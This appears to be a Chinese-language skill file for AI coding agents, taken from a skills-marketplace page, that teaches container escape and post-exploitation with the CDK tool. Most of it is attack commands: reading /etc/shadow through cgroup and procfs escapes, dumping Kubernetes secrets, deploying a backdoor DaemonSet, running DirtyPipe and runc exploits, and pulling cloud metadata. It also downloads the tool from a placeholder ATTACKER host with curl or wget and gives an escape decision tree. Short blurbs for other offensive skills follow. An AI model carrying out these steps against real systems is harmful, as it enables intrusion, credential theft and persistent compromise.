skills/tool/cdk-escape/SKILL.md
使用 CDK 进行容器环境渗透和逃逸。当已进入容器环境(Docker/K8s Pod)需要评估逃逸可能性、利用容器漏洞、或进行容器内信息收集时使用。CDK 集成了容器环境评估、多种逃逸技术(privileged/mount/cgroup/lxcfs/runc/内核漏洞)、容器内横向移动。拿到容器 shell 后第一步就应该运行 CDK 评估。涉及容器逃逸、Docker 渗透、K8s 安全、容器提权的场景使用此技能
npx skillsauth add wgpsec/AboutSecurity cdk-escapeInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
CDK 是容器渗透的瑞士军刀——一个二进制解决容器内信息收集、漏洞检测、逃逸利用。拿到容器 shell 后,先跑 CDK 评估,再选逃逸路径。
项目地址:https://github.com/cdk-team/CDK
进入容器后立即运行评估,CDK 会自动检测所有可能的逃逸路径:
# 全自动评估(推荐首选)
cdk evaluate
# 评估输出会列出:
# - 容器运行时类型(Docker/containerd/CRI-O)
# - 容器权限(privileged/capabilities)
# - 可利用的挂载点
# - 可用的逃逸技术
# - K8s Service Account Token
# - 网络信息
# 检测到 privileged=true 时
cdk run mount-cgroup "cat /etc/shadow"
# 或
cdk run mount-disk
# 通过 /dev 设备逃逸
cdk run mount-procfs "cat /etc/shadow"
# CAP_SYS_ADMIN
cdk run mount-cgroup "whoami"
# CAP_DAC_READ_SEARCH
cdk run cap-dac-read-search
# CAP_SYS_PTRACE
cdk run check-ptrace
cdk run shim-pwn # containerd-shim 提权
# 发现挂载了 /var/run/docker.sock
cdk run docker-sock-check
cdk run docker-sock-deploy "attacker_image"
# 利用 Service Account Token
cdk run k8s-secret-dump
cdk run k8s-configmap-dump
# 创建特权 Pod 逃逸
cdk run k8s-backdoor-daemonset
# CVE-2021-22555 (Netfilter)
cdk run exploit-CVE-2021-22555
# CVE-2022-0847 (DirtyPipe)
cdk run exploit-CVE-2022-0847
# runc CVE-2019-5736
cdk run runc-pwn
# 扫描内网服务(容器网络内)
cdk run service-probe 10.0.0.0/24
# 探测 K8s API Server
cdk run k8s-service-discovery
# 获取元数据服务(云环境)
cdk run cloud-metadata
CDK 是静态编译的单二进制文件,投递到容器很方便:
# 方式 1:通过 Web 漏洞下载
curl -o /tmp/cdk https://ATTACKER/cdk && chmod +x /tmp/cdk
# 方式 2:通过 Python 临时 HTTP 服务
# 攻击机:python3 -m http.server 8000
# 容器内:wget http://ATTACKER:8000/cdk -O /tmp/cdk && chmod +x /tmp/cdk
进入容器后:
├─ 第一步:cdk evaluate(自动评估所有逃逸路径)
├─ privileged=true → cdk run mount-cgroup / mount-disk
├─ 有 docker.sock → cdk run docker-sock-deploy
├─ 有 K8s SA Token → cdk run k8s-secret-dump
├─ 有 capabilities → 对应 capability 的利用
├─ 以上都没有 → 检查内核版本,尝试内核漏洞
└─ 也逃不了 → 容器内横向(service-probe 扫网段)
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能